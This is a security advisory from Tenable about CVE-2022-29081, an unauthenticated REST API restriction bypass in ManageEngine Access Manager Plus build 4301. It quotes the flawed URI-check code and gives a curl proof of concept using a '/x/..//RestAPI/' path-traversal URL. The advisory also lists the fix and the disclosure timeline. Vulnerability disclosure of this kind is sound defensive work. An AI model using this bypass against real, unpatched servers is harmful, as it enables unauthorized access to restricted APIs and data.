ManageEngine Access Manager Plus REST API Restriction Bypass

High

← View More Research Advisories

Synopsis

A researcher at Tenable found an API restriction bypass vulnerability in ManageEngine Access Manager Plus (AMP) build 4301. The flaw results from **HttpServletRequest.getRequestURI()** not returning a normalized URI in **com.manageengine.ads.fw.api.RestAPIUtil.isRestAPIRequest()**:

```
 public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
  String restApiUrlPattern = "/RestAPI/.*";
  try {
   restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);
  } catch (Exception ex) {
   out.log(Level.INFO, "Unable to get API_URL_PATTERN.", ex);
  }
  String reqURI = request.getRequestURI();
  String contextPath = (request.getContextPath() != null) ? request.getContextPath() : "";
  reqURI = reqURI.replace(contextPath, "");
  reqURI = reqURI.replace("//", "/");
  return Pattern.matches(restApiUrlPattern, reqURI);
 }
}

<...snip...>
   if (RestAPIUtil.isRestAPIRequest(request, this.filterParams) && !RestAPIFilter.doAction(servletRequ
    return false;
<...snip...>
```

An unauthenticated remote attacker can exploit this to bypass checks on REST API URLs by using a URL like '**/x/../RestAPI/**'. This allows the attacker to access certain REST APIs that are not normally system), and viewing information that is otherwise inaccessible.

Proof of Concept:

```
# Get license details
curl --path-as-is -sk -d 'operation=getLicenseDetails' 'https://<amp-host>:9292/x/..//RestAPI/LicenseMgr'
{"BUILD_NO":"4301","LICENSE_TO":"ManageEngine","COMPONENT_DETAILS":{"Days to Expire":"23days.","Number of
```

Solution

ManageEngine has fixed this issue in Access Manager Plus version 4.3 Build 4302.

Additional References

https://www.manageengine.com/privileged-session-management/release-notes.html

Disclosure Timeline

11 April, 2022 - Vulnerability reported
12 April, 2022 - ManageEngine acknowledges
13 April 2022 - ManagEngine releases a hotfix for the issue, does not inform Tenable
27 April, 2022 - Tenable notes hotfix, publishes advisory

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2022-29081
Tenable Advisory ID: TRA-2022-14

Advisory Timeline

27 April, 2022 - Published

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security

Compliance

Exposure Management

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media